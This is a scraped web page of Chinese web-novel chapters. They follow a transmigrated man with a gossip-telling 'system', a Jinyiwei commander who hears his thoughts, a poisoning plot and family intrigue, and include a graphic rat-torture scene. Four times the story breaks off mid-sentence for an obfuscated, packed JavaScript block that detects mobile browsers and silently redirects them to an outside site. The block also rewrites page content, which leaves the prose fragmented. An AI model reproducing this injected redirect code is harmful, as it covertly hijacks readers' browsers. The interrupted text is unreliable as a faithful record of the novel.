“你是系统,如果连这么小的事都办不到,那以后就别吹牛,说什么自己最棒、最厉害。”冰凉的液体进入口腔,又苦又涩,“好难吃!” 霍齐安的手一顿,安静了这么久,终于又听到了他的心声,心底的不安得以缓解,又舀一勺七星草汁喂给他。 两勺七星草喝下去,身体起了反应,何林秋忍不住在心里骂道:“霍齐安,你大爷,你就是想弄死老子!” 霍齐安眉头微蹙,这株七星草是他用命换来的,如今给他服用,他竟因为难吃而骂他,还真是没良心得很。不过,他会中毒,是他看管不严,便不与他计较了。 猹猹瞧了一眼何林秋的生命值,正快速下降,再不管就死定了,便想着哄他买一颗解毒丹。可何林秋死咬着不买,完全不拿命当回事,猹猹再一次认栽,赶紧给他喂了解毒丹。 何林秋喉头一热,张嘴吐出一口黑血,再一次失去意识。在临失去意识前,他在心里骂道:“霍齐安,你给老子等着,此仇不报,老子跟你姓!” 霍齐安见状,有些心慌,急忙看向王兴和,质问道:“这是怎么回事?” 王兴和慌忙上前,给何林秋诊脉,随后说道:“大人放心,公子吐的是毒血。看公子脉象,体内的毒解了,只是公子太过虚弱,能否救活,还得看今晚能否醒来。若醒来,便无事,若醒不来……” 王兴和的话未说完,但他的意思在场的人都听明白了。霍齐安掏出帕子给何林秋擦了擦嘴角的血迹,“你们都去外面候着。” “是,大人(主子)。”众人相继退出卧房。 霍齐安沉默地凝视着何林秋,等了许久,也未听到心声,忍不住开口,“何林秋,你不是想报仇吗?那就醒过来。若是死了,就什么都没有了。” 依旧静悄悄的,除了自己的呼吸声,什么都听不到。霍齐安素来喜静,如今却觉得太安静了,安静得让他心慌。 时间一分一秒地过去,从白天到黑夜,再到天明。床上的何林秋依旧在昏睡,气息也越来越微弱,霍齐安叫来王兴和,王兴和看诊后,无能为力地摇摇头。霍齐安不死心地在床前守着,不知不觉天又黑了,两天两夜未曾合眼的他疲倦至极,恍恍惚惚间听到了熟悉的声音,“好渴,想喝水。” 霍齐安猛地睁开双眼,看向昏睡的何林秋,等着他的心声。可等了许久,也没听到,他试探地说道:“昏睡这么久还不醒,看来是真没救了。” “你才没救了,你全家都没救了!我就知道,你没安好心,就想着怎么弄死我。”霍齐安话音刚落,便又听到了何林秋的心声,愤愤不平的语气很有活力。 霍齐安的嘴角扬起一个好看的弧度,清冷的眸子里也染上笑意,起身走到桌前,给他倒了杯温水。随后,他抱起他的身子,让他靠着自己,一点一点地给他喂水。 温水滋润了干涩的喉咙,何林秋感觉舒服多了,忍不住又想道:“他这是又想做什么,又给我下毒?” 霍齐安闻言,喂水的动作一顿,瞧着他苍白的脸,心中想道:“我若想你死,何必费这番工夫。” “今晚他若是还不醒,就扔去乱葬岗吧。” 何林秋一听,顿时恼了,心道:“果然是薄情寡性的白眼狼!老子这还没死呢,他就想把老子扔去乱葬岗!” “你昏睡了两天,他守了你两天,还用了珍贵无比的七星草,你说他是白眼狼?”猹猹忍不住为霍齐安打抱不平。 “他守了我两天?”何林秋愣了下,随即在心里说道:“猹猹,为了骗我留下做任务,你还真是什么话都说。” 猹猹无辜地眨了眨眼,道:“宿主,我说的都是真的,你怎么还不信呢?” “我信你个鬼!” 猹猹无语地瞧着何林秋,忍不住自我反省,到底是哪里出了错,为什么它精挑细选的宿主是这样的? 给他喂了杯水,霍齐安便又让人请来了御医,这次来的不是王兴和,而是秦佩真,御医院的院正。 收到消息的霍齐安去了正厅,“秦院正?您怎会来此?” “指挥使两日未去衙门,皇上甚为忧心,派下官过来瞧瞧。” 霍齐安眼眸微动,拱手道:“劳皇上挂心,微臣感激不尽。” “观指挥使神色甚是疲倦,可是近日休息不好?” “近几日确实睡不好,还得劳烦院正给我开点安神药。” “那让下官给指挥使诊诊脉吧。” 霍齐安坐下,将右手置于桌上,道:“那就有劳秦院正了。” 秦佩真在霍齐安旁边坐下,拿出脉枕给霍齐安诊脉。一盏茶后,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960903|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩真收回手,道:“指挥使上次的伤还未痊愈,近日又太过劳累,有复发的迹象,还需好好调养才是。” 霍齐安收回手,客气地说道:“有劳秦院正费心了。” 秦佩真将脉枕放回药箱,道:“对了,大人这次进宫请御医是为一个公子,不知现在何处?” “在客院。”过来时,霍齐安已让人将何林秋送去了客院,“劳烦秦院正随我跑一趟。” “应该的,大人不必客气。” 霍齐安起身带路,秦佩真紧随其后,很快便来到安置何林秋的海棠院。秦佩真跟着霍齐安进了客房,一眼便看到了昏睡的何林秋,脸色苍白,唇色泛青,一副命悬一线的模样。秦佩真没有耽搁,拎着药箱走到床前,拿出脉枕给何林秋诊脉。 “听闻这位公子伤重,是因为舍身救了指挥使?” “是。在平南王府,有刺客暗杀,他为我挡了一箭,伤口在胸口,差点没了命。” “公子不久前中了毒,还是剧毒黄泉饮,这是怎么回事?” “正在查。”霍齐安神情淡淡,“他的情况如何?” “公子伤重未愈,又因剧毒损了身子,即便能转危为安,以后的身子也会大不如前。” “大不如前?”霍齐安心脏一揪,面上却依旧平静,“若是好好调养,是否能恢复?” “很难。”秦佩真起身,写了一张药方,递给霍齐安,道:“按照这个方子,三碗水煎成一碗,每日三次,连续服三个月。” “三个月!”何林秋在心里哀号,“还是让我死了吧!” 霍齐安下意识地看向何林秋,他最怕苦,连续喝三个月的药,确实很煎熬。 “多谢秦院正。”霍齐安将药方交给王朔。 秦佩真收拾好药箱,道:“大人若是没有其他事,下官便先回去了。” “王朔,送送秦院正。” “是,主子。”王朔侧身,“秦院正请。” “霍齐安,你大爷,害老子喝三个月的苦汤子,老子记住了!”对于极度怕苦的何林秋来说,喝三个月的药等于要了他的命,他宁愿挨一个月的电击,也不想受这份罪。 霍齐安转头看向何林秋,怎么会有这么怕苦的人?从小到大,他受伤无数,喝药是家常便饭,从未觉得有什么,喝药而已,总好过疼吧。 “来人。” 陶旺听到召唤,躬身走了进来,行礼道:“主子有何吩咐?” “我让你买的蜜饯呢?” 陶旺愣了下,随即说道:“奴才这就去拿。” 陶旺刚走,王朔便走了进来,禀告道:“主子,老夫人派人来请。” 霍齐安收回视线,走到榻前坐下,轻轻摩挲着手上的扳指,问道:“那个女人被接回去了?” “今早接回的。” “这么久了,居然还能被接回去,真不简单啊!” “三公子亲自去接的,据说杀了一个,重伤一个。死得那个还有些来头。” “哦?死的是谁?” 9. 都玩这么花? “死的是监察御史张耀辉的小儿子张志宏。”王朔答道,“前不久,张耀辉的嫡女张宛禾刚被收进太子府,老夫人让主子过去,就是想让主子为三公子善后。” “霍齐瑞出息了。”霍齐安嘴角微微上扬,勾起一抹讥诮的笑,“竟为了一个女人做到这一步。” “主子是怀疑他们之间已经暗通曲款?” 霍齐安没回答,只是淡淡地扫了他一眼。王朔心照不宣地行礼,随后离开了客房。 “我似乎听到了不该听的,不会被杀人灭口吧。” 何林秋的心声响起,霍齐安转头看了过去,他是真的很怕死。 猹猹接话道:“不会的。宿主,你就把心放到肚子里吧,霍齐安不会杀你。” 又是这种笃定的语气,何林秋心里越发疑惑,只是上次威逼利诱,它都没说,再问也是白费力气,还是等它卸下防备之后,再想办法套话。 “上次你说有瓜吃,什么瓜,闲着也是闲着,说来听听。” “瓜?什么瓜?”猹猹无辜地眨了眨眼。 “别在我面前装,我不吃那一套。有关肖成叙的瓜,赶紧说。” 猹猹一看躲不过去,装模作样地挠了挠头,道:“你说的是这个啊。肖成叙确实有瓜,可肖成叙已经走了,就算有瓜,你也赚不了积分。” “赚不赚积分不重要,重要的是我现在很闲,需要吃瓜打发时间。”现在他醒也醒不了,睡也睡不着,也就只能吃吃瓜了。 猹猹纠结了一会儿,道:“那我就小小地爆一个瓜。” “说。”何林秋还有些期待,果然人都是八卦动物。 “肖成叙的嫡子肖继琨是假少爷。” “假少爷?”何林秋愣了下,随即说道:“你的意思是肖继琨不是肖成叙的儿子。” “不是。”猹猹举起小爪子,学者人类左右摆了摆。 “展开说说。”何林秋惋惜地想道:“要是有包瓜子就好了。” “就算有瓜子,你能吃吗?”猹猹的语气中满是幸灾乐祸。 “猹猹,要不咱们不吃瓜,算算账怎么样?” “算什么账?”猹猹下意识地问了一句。 “算我初吻被夺和中毒两次的账。”何林秋似笑非笑地斜睨了它一眼。 “不是,这跟我有什么关系?”猹猹被他笑得心里发毛,再次败下阵来,“算账哪有吃瓜香,咱们还是吃瓜。” 何林秋冷哼了一声。 猹猹发现自己被吃得死死的,但凡何林秋想干的事,至今为止还没有干不成的。它再次开始自我怀疑,不情不愿地说道:“肖成叙的正妻黄墨婉当年生的是个女儿,为了保住正妻的地位,便让人换成了儿子。” “那她的女儿现在在哪儿?” “在郊外的庄子上,她现在的父母是肖家家奴,有黄墨婉的接济,他们的日子过得还算不错,父母兄弟很和睦,对她也很好。” “肖继琨知道自己的身世吗?” “不知道。” “这么狗血的剧情,我只在小说中看过。” “这就狗血了?”猹猹不屑地睨了他一眼,“你看的狗血剧还是少了。” “听你的意思,这个狗血剧情中还有内情?” “当初黄墨婉换过来的男婴不是肖继琨。” “不是肖继琨?”何林秋愣了下,很快便反应过来,猜测道:“所以有人将黄墨婉换过来的男婴又换走了?” “宿主聪明。男婴被换过来没多久,就被肖成叙换走了。” “深宅大院里的人玩得可真花。”何林秋忍不住感叹了一句,“那这个肖继琨的母亲是谁?” “是肖成叙白月光的儿子。” “肖成叙的白月光?等会儿。”何林秋停顿片刻,“你方才说肖继琨是假少爷,难不成他不是肖成叙和白月光的儿子?” 猹猹贱兮兮地笑着。 “那这个肖成叙还真是痴情,不仅为别人养儿子,还想将整个肖家都给白月光的儿子,啧啧。” “No、no、no!”猹猹装模作样地晃动着爪子,却不继续说下去,而是一副‘快来问我’的模样。 何林秋忍不住在心里翻了个白眼,道:“你这么说……难不成肖成叙不清楚肖继琨不是自己的儿子?” 猹猹得意的小模样僵在脸上,嘴巴张成了O形。 “看来我猜对了。这个白月光可以啊,把肖成叙一家耍得团团转,不仅让自己的儿子登堂入室,还将肖家的未来收入囊中,是个狠角色!” 没看到自己想要的结果,猹猹小脸皱巴巴的,明显不高兴。 何林秋好笑地瞧着,问道:“肖成叙这个白月光是谁?” “说起来肖成叙的白月光跟你还是亲戚。” 何林秋愣了下,旋即问道:“你是说她和淮安伯府有关?” “她是老淮安伯的庶女,名叫何清环,你该叫她一声姑母。” “她明面上的身份应该和肖成叙无关吧?” 和何林秋聊八卦,真是一点成就感都没有。猹猹撇撇嘴,道:“她明面上是御史邵怀英的正妻,膝下还有一个女儿叫邵梅华。” “肖继琨不会就是邵怀英和何清环的儿子吧。” “是。何清环是肖成叙的白月光,而邵怀英是何清环的白月光。当年,何清环用尽手段,如愿地嫁给了邵怀英,可邵怀英当时只是个穷酸秀才,日子过得艰难。何清环虽然爱邵怀英,却也不想一辈子过苦日子,摆脱现状最好的办法就是帮邵怀英入仕。于是,她刻意勾引肖成叙,灌醉肖成叙后,伪装两人发生了关系。一个月后,便顺理成章地告诉肖成叙,她怀孕了,让肖成叙将她和邵怀英的儿子接进了肖家。”这次猹猹没有卖关子。 “既能让肖成叙帮邵怀英入仕,摆脱窘困的现状,又能让他们的儿子进肖家,成为肖家名正言顺的嫡子。这如意算盘打得真够响的,最后还让她成功了,不得不说她是真的牛!” “要说谁家瓜最多,就属你们淮安伯府。” “哦?都有什么瓜,说来听听。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960904|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “淮……”猹猹刚开口,便反应过来,“宿主,你又想套我话,卑鄙无耻下流!” 猹猹说完,便下了线。它算是明白了,自己玩不过何林秋,一不小心就会掉入他的圈套。 “小家伙,这是学聪明了,不好忽悠了。” “小家伙?”霍齐安眼中闪过疑惑,房中除了他们,并无第三人,“说的是谁?” 脚步声响起,陶旺从门外走了进来,手里端着托盘,待走到近前,躬身说道:“主子,蜜饯拿来了。” “放着吧。” “肖成叙是太子党,邵怀英和安王走得近,何清环这是打算两头都占着,无论谁上位,都少不了她的好处。” “何清环是谁?”霍齐安眉头微蹙,“他都知道些什么?” 霍齐安转头看向陶旺,吩咐道:“去看看药熬好了没。” “是,主人。” “我才不要喝苦汤子!”许是怨念太重,何林秋居然睁开了眼睛,霍齐安背对着他,站在软榻前,窗外的光线有些暗,应该是傍晚时分。 霍齐安转头,与何林秋的视线撞上,神情微怔,随即淡淡地开口,“醒了。” “大人。”喉咙干涩,一开口便感觉刺痛,何林秋强撑着想要起身,被霍齐安按住肩膀。 “别动。” 明明霍齐安面无表情,说话的语气也淡的听不出情绪,可何林秋就是感觉到他在生气。何林秋重新躺回去,就他现在的身体,就算霍齐安不按住他,也起不来。 “大人,是谁想要害我?”何林秋在心中想道:“曹福是安王的人,他为什么要害我?难道是杀人灭口?可撞上他和那个侍卫接头,已经有段时日,怎么偏偏这时候杀人灭口?难不成……” “难不成……”霍齐安等着他的下文,“还没查问。” “还没查问?锦衣卫的办事效率这么低的吗?”何林秋忍不住在心里吐槽。 办事效率低……这还是第一次有人敢在他面前这么说,这人的胆子是越来越大了。霍齐安淡淡地开口:“依你之见,是谁要害你?” “吃食是曹福送来的,事后又进屋查看,下毒的肯定是他。”刚说了两句话,何林秋便感到有些气喘,可见身体有多虚弱,“可属下与他无冤无仇,唯一能让他下杀手的,就是属下撞见他和安王府侍卫接头。可这件事已经过去一段时日,而属下已将这件事告知大人,他再杀人灭口,实属多余。我想不通。” 话落,何林秋又在心里嘀咕:“肯定是那天他进院子,我认出了他,他也认出了我,一直没下手是因为有陶旺守着,而那天陶旺不在,才让他钻了空子。说到底都是霍齐安的错,我都告诉他了,居然还能被钻空子,这锦衣卫指挥使干脆别当了。” “明明什么都知道,还装模作样。”霍齐安摩挲着手上的扳指,“想不通,便多想想,想通了,再告诉我。” 霍齐安没再多说,转身离开。 瞧着房门被关上,何林秋一脸茫然,喃喃道:“他这是什么意思?又怀疑我?” 10. 他喝药了没? 水牢暗无天日,阴冷潮湿,空气中充斥难闻的味道,有霉味,有腐臭味,有血腥味,令人作呕。常年待在这里的人,虽然能习惯这里的味道,却习惯不了这里的阴冷,那种往骨头缝里钻的阴冷,就像有人用刀刮着骨头,钻心地疼。 脚步声响起,昏暗的火光中,一道挺拔的身影由远及近,一袭绯衣如血一般,让他淡漠的神情添了几分血色,清冷的眸子直视前方,步伐铿锵有力,习惯性地摩挲着手上的碧绿扳指。 曹福被绑在十字架上,衣冠还算整齐,胸部以下泡在水里。水是死水,腐烂的味道很是刺鼻,水面上偶尔冒出气泡,还会漾起波纹,那是水老鼠在作祟。水老鼠是这水牢中最可怕的东西,它们以血肉为食,但凡进来的人没有一个能完整无缺地出去。 曹福被脚步声惊动,缓缓抬头看去,是两名锦衣卫,他们打开水牢的门,将他拖出水牢,拖进一间刑房。 刑房中,霍齐安慵懒地坐着,旁边的桌子上放着一个盖碗,鎏金的香炉里飘出白烟,是他喜欢的檀香,能稍稍盖住这水牢中令人恶心的味道。 曹福被绑上刑架,粗糙的麻绳摩擦着皮肤,刺痛感是那么明显,肯定被磨掉一层皮。可他心里清楚,这将是今天受过最轻的罪。他抬眸看向霍齐安,锦衣卫指挥使,出了名的心狠手辣,但凡落到他手里的人,就没有能囫囵个出去的。 霍齐安挥了挥手,顿时有锦衣卫上前,将曹福的下巴合上。曹福闷哼一声,口水从嘴角流了出来。为了避免他自戕,下巴在他被抓之时,就已经被卸下。 “你的主子是谁?”霍齐安淡淡地开口。 “奴才愚钝,还请主子明示。”下巴被卸的时间有些长,曹福说话有些含糊不清。 “告诉他。”霍齐安端起盖碗,优雅地撇着上面的浮沫。 王朔上前,挥动手中的鞭子,狠狠抽在曹福身上,鞭子上有倒钩,抽在身上会皮开肉绽。曹福随之惨叫出声,大声喊道:“主子,奴才冤枉!” 血腥味在空气中扩散,随着曹福大量失血,而变得越来越浓,燃烧的檀香都盖不住,霍齐安清冷的眸子里顿时结了冰,随手将盖碗放到桌上,发出碰撞的脆响。 王朔停了下来,拿着鞭子退到一边,转身看向旁边的锦衣卫。锦衣卫捧着个罐子上前,打开盖子,用勺子搅了搅,甜香味顿时传了出来,这是一罐野生蜂蜜。锦衣卫用刷子,在曹福的伤口上涂蜂蜜,确认无一处遗漏后,捧着罐子退到一边。紧接着又有一名锦衣卫上前,手中拎着个麻袋,麻袋里传出吱吱的声音。他打开麻袋,旋即往后退,顿时有老鼠爬出来,黑压压的,可怖极了! 老鼠闻到了带着甜香的血腥味,纷纷朝曹福跑去。曹福见状大惊失色,慌张地喊道:“不要过来!不要过来!” 老鼠爬上曹福的身体,几乎将他整个掩埋,皮肉被啃食的痛让他惨嚎不止。 霍齐安抬了抬手指,王朔趋步上前,弯腰凑到霍齐安身前。 霍齐安在他耳边,轻声说道:“去问问他是否喝了药。” 王朔一怔,偷偷瞄了霍齐安一眼,神情复杂地走出水牢。在床前守了人家两天不说,现在又殷勤地问人家喝没喝药,他们家指挥使什么时候这么有人情味了。 “我说!”曹福终于承受不住,大声呼喊道:“我什么都说,快停下,停下!” 霍齐安抬眸,低沉的嗓音从喉咙溢出,“你的主子是谁?” “你先救我!快点救我!” “说出你的主子,我可以考虑救你。” “你先救我,我再告诉你!” 霍齐安垂下视线,盯着手上的扳指发起了呆。 “啊!我的眼睛!”曹福惨嚎,“安王,我的主子是安王!” 霍齐安抬了抬手指,顿时有锦衣卫上前,往曹福身上洒药粉,老鼠的动作一顿,紧接着便晃晃悠悠地从曹福身上滚下来,随即抽搐几下,便没了动静。抹在曹福身上的蜂蜜是特制的,配合药粉有麻醉的作用。 曹福被啃食得血肉模糊,右眼的眼球没了,只留下一个黑漆漆的洞,大半张脸皮被啃食,只有小半张脸还能看。只是因为药物发生作用,那种令他生不如死的痛,在慢慢消失。 “你的主子都让你做了什么。”霍齐安疲倦地捏了捏眉心。 “安王让奴才偷主子的私印。” 霍齐安用手撑着脑袋,闭上眼睛假寐,“还有呢?” “安王让奴才盯着主子,每隔五日汇报一次。” “前些时日,我收到密信,揭发平南王谋反,这封密信可是你所为?” 曹福瞳孔一颤,随即说道:“是安王指使,奴才只是奉命行事。” 霍齐安抬眸,看向曹福,道:“安王这招借刀杀人玩得不错。” “都是安王指使,奴才只是奉命行事。奴才、奴才愿为人证,指证安王,求主子饶奴才一命。” “为何要杀何林秋?” “他撞见奴才与安王府报信,奴才为保命,这才犯了糊涂。” 和他说的一样,霍齐安冷锐的眼神稍缓,接着问道:“他是何时撞见的?” 曹福想了想,答道:“大约一个月前。” 时间也对得上,他没撒谎。霍齐安坐起身子,端起旁边的盖碗,道:“为何今日才来灭口?” “当日只是有所怀疑,并不清楚他的身份,只以为是路过。那日在府中见到他,才知他是锦衣卫。” 和他的猜测一致,是个聪明的。霍齐安眼眸微垂,嘴角微微上扬,道:“你在给他的吃食中下毒,却不怕牵连到自己身上,都做了哪些准备?” 事到如今,已经没什么不可说的,曹福如实说道:“奴才在李堂的床上放了毒药,若查问起来,便栽赃到他身上。” “李堂?” “是厨房侍候的小厮。他无父无母,因赌博欠了不少债。” “他和何林秋没有瓜葛,你打算给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960905|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他找个什么理由?” “奴才寻了个由头骗他出府,外头的人负责灭口。找不到他,就无法查证,奴才便可脱身。只是没想到他中了那样的剧毒,竟然没当场死亡,还有力气将奴才打晕。” 曹福在霍府潜伏了三年,未曾出现过丝毫差错,没想到竟然栽在何林秋手里。至今他都没想明白,何林秋的身体明明那么弱,怎么能有那么大的力气。 力气大吗?以他的身体状况,再加上中毒,能将曹福打晕,确实令人惊讶。霍齐安嘴角勾起一抹好看的弧度,吩咐道:“给他治伤,莫要他死了。” “是,大人。” 霍齐安起身,快步走出水牢,他最怕苦,也不知有没有好好喝药。待走出水牢,霍齐安突然想起一件事,招来人手,吩咐道:“去查查何清环。” “是,大人。” 海棠院门口,霍齐安被王朔拦了下来,“主子,老夫人来了,如今在正厅等着。” 霍齐安嘴角勾起一抹嘲讽的笑,看了一眼海棠院,转身走了出去。 正厅,一位衣着华贵的老妇人坐在上首,面如寒霜,手里拿着一串佛珠,一颗一颗拨弄着。这就是怀远侯府的老夫人于晚梅,三品诰命夫人。于家书香世家,于晚梅的父亲于正堂曾是当朝丞相,后来成武帝取缔丞相一职,于正堂便去了内阁,成了第一任内阁首辅。之后,于晚梅的长兄于继礼继于正堂之后,进入内阁,成了次辅。而如今于晚梅的嫡长子,也就是霍齐安的父亲,亦是内阁大臣。一门三位内阁大臣,被世人盛赞,文人之榜样。有这样的家族,于晚梅过了一辈子被人捧着的日子,在霍家说一不二,尤其老侯爷去世以后,唯一敢违逆他的,只有她的长孙霍齐安。 霍齐安虽是于晚梅的长孙,可于晚梅不喜欢他,因为他的母亲顾听雪。于晚梅给霍平洲(霍家嫡长子)所选的妻子不是她,而是当时吏部尚书苏云青的嫡次女苏琪韵,可霍平洲偏偏喜欢上了顾听雪,为了婚事,他生平第一次忤逆了她这个母亲。最后,霍平洲得偿所愿娶了顾听雪,成为唯一不被她掌控的事,所以她厌恶顾听雪,也厌恶顾听雪生的霍齐安。 霍齐安走进正厅,冷淡地看了一眼于晚梅,待走到近前,行礼道:“祖母。” 于晚梅抬眸,看向霍齐安,将佛珠戴在手腕上,沉声道:“指挥使好大的架子,老身这个当祖母的三催四请,怎么都请不动。” “祖母说笑了。”霍齐安在于晚梅下首坐下,“孙儿旧疾复发,御医说要静养,故而没去和祖母请安,祖母莫要怪罪。” “旧疾复发?”于晚梅冷哼一声,“老身观你面色红润,哪有半分病态,怕是指挥使仗着皇帝宠爱,未曾将老身这个祖母放在眼里。” “祖母有话不妨直说。孙儿身受皇恩,公务实在繁忙,没有闲暇陪祖母话家常。”正如于晚梅不待见霍齐安,霍齐安亦不尊敬于晚梅,若非孝道在上面压着,霍齐安压根不会出现。 “你放肆!” 11.不是老人变坏了 “祖母,这里是霍府,不是侯府。”霍齐安无视于晚梅的愤怒,端起桌上的茶杯喝了一口,语气中的威胁没有丝毫遮掩。 “你个孽障!”于晚梅气得捏紧了手腕上的佛珠,眼底的厌恶又重了几分。 站在一旁的齐嬷嬷小声劝道:“老夫人莫动气,小心身子。” 于晚梅瞥了她一眼,脸上的怒气一滞,沉默片刻,道:“霍齐安,你即便不喜婉儿,也不该把她送去那等腌臜地儿,以至于齐瑞犯下那等错事。” “祖母可是忘了孙儿是做什么的。”霍齐安摩挲着手上的扳指。 于晚梅拧紧眉头,道:“你这话是什么意思?” 霍齐安抬头,狭长的凤眸冷淡地看着于晚梅,道:“非要孙儿把话说白?” 于晚梅苍老的面皮一紧,端起茶杯抿了一口,道:“婉儿的事是祖母办得欠妥,可你如今已二十有六,寻常人家的儿郎像你这个年纪,早已生儿育女,可你身边连个女子都没有。常言道,不孝有三,无后为大……” “所以祖母便寻个与人珠胎暗结的女子,让孙儿捡现成的?”霍齐安打断于晚梅的话,淡漠的凤眸中多了几分讥讽。 于晚梅的脸色变了,下意识地移开视线,随后又觉得不对,看向霍齐安,道:“什么珠胎暗结?婉儿清清白白,即便你不喜,也不该如此污她清白。” “祖母。”霍齐安的眼底结了冰,“我不是霍齐瑞那个蠢货。” “你!”于晚梅眉眼间染上怒意,只是想到此次来的目的,便又强压了下去,道:“没想到我这般看重她,她竟背着我……” “老夫人莫要自责,是表小姐刻意隐瞒,您也是被她蒙蔽。”齐嬷嬷适时地接话。 齐嬷嬷给搭了梯子,于晚梅便顺着梯子往下爬,收敛脸上的怒意,扯起嘴角,露出一个自认慈爱的笑,道:“安儿,瑞儿被秦婉蛊惑,一时冲动犯了错,你是他兄长,总要帮帮他。” “他是众目睽睽之下打死的人,祖母让我怎么帮?为了他徇私枉法?” “那张家小儿先动的手,瑞儿迫于无奈还了手,只是下手重了些,这才……” “祖母。”霍齐安再次打断于晚梅的话,“国有国法,家有家规,孙儿身为朝廷命官,不能徇私枉法,祖母请回。” “霍齐安!”于晚梅闻言,压不住心中的怒火,拔高了语调,“死在你手里的人那么多,你能保证没有一人是错杀?” 霍齐安与她对视,道:“若祖母觉得孙儿罔顾人命,可以到皇上面前揭发,孙儿绝不连累侯府。” “你是铁了心不帮瑞儿了?” “护送老夫人回侯府。”霍齐安起身,迈步走出正厅。 “是,主子。”王朔应声,走到于晚梅身边,躬身说道:“老夫人,属下护送您回府。” 于晚梅气得砸了桌上的茶盏,骂道:“忤逆不孝的畜生!跟她娘一个德性,我侯府没有这样的子孙!” 于晚梅气得咳嗽起来。齐嬷嬷见状急忙上前,替她顺气,劝道:“老夫人,您千万不要动气,保重身子要紧。” “当年就不该让那个贱人进门,生了这么一个忤逆不孝的小畜生。”尖酸刻薄的话语,让于晚梅的面容变得狰狞。 “老夫人,您消消气,这里不是侯府,小心隔墙有耳。” “我还怕他听到?” “老夫人,侯爷如今只在吏部领个闲职,以后侯府还得靠大公子撑着,您不能跟大公子撕破脸。”齐嬷嬷忍不住劝道。 “侯府是瑞儿的。”于晚梅厉声反驳,“瑞儿聪慧,将来是要进内阁的,侯府的将来在他身上。” “可……” “没什么可是的!”于晚梅不耐烦地打断齐嬷嬷,起身说道:“回府。这里走不通,总要想其他法子,无论如何也不能让瑞儿受了委屈。” “是。”齐嬷嬷不敢再说,扶着于晚梅起身,迈步往外走去。 后院,霍齐安站在一棵梧桐树下,仰头看向天空,思绪跟着飘远。从小他就不受于晚梅待见,无论做什么,总会被挑刺,受罚的是他,挨打的也是他,这些他都不在乎,也不曾有过怨怼,因为他与于晚梅并无感情。可她不该逼死他的母亲。 王朔走到霍齐安面前,行礼道:“主子。” 霍齐安收回思绪,“送走了?” “是。”王朔看着霍齐安欲言又止。 霍齐安见状,问道:“她又说了什么?” 王朔犹豫了一瞬,将于晚梅所说的话重复了一遍。 霍齐安平静地听完,不见丝毫波澜,于晚梅的话早已伤不到他,只是她不该提及他的母亲,“京都的百姓少了些茶前饭后的消遣,三公子刚好合适。” “是,主子。” 时间一晃就是半月,何林秋终于能下床走动,躺了这么久,骨头都快躺散架了,浑身上下还散发着一股浓重的苦汤子味,才刚吃完早饭,便走出卧房,到院子里晒太阳。 这半个月何林秋过得很舒心,霍齐安好似很忙,只来过一次,坐了半个时辰就走了,不用耗费心神应付他,伤势恢复得很快。 “猹猹,我感觉我又行了,是时候离开霍府了。” 猹猹点了点小脑袋,“霍府确实没什么新鲜瓜了,回去也行。” “没什么新鲜瓜,难不成之前有什么瓜,是我不知情的?”何林秋总能抓住猹猹话中的漏洞。 猹猹愣了下,懊恼地拍了拍嘴巴,道:“有是有,只是就算宿主知道,也不能赚积分了。” “不能就不能,就当打发时间了。” “之前打算对霍齐安用药的女人,你还记得吗?” “记得,霍齐安的表妹,那个女人有什么瓜?” “那个女人叫秦婉,她和霍齐瑞私相授受,还怀了身孕。怀远侯老夫人嫌弃秦婉的出身,不想她嫁给霍齐瑞,就想设计让秦婉爬霍齐安的床,让霍齐安认下这个孩子,让他继承霍齐安的家产。” “这剧情怎么听着这么耳熟?”何林秋惊愕地睁大眼睛,“不是,怀远侯老夫人不就是霍齐安的奶奶吗?她亲手给自己的长孙送顶绿帽子?豪门都这么玩的吗?” “这个老太太是个奇葩,如果他是我奶奶,我得天天想着怎么大义灭亲。”听得出来,猹猹很讨厌于晚梅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963128|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“难道霍齐安不是她亲孙子?” “是,亲得不能再亲。这个老太太有很强的掌控欲,不允许侯府的所有人脱离掌控,就因为霍平洲找的老婆不是她指定的,就连带着不喜欢霍齐安,瞅准机会就给霍齐安立规矩,无论谁犯的错,都怪在霍齐安头上,对他非打即骂,简直是个老变态!” 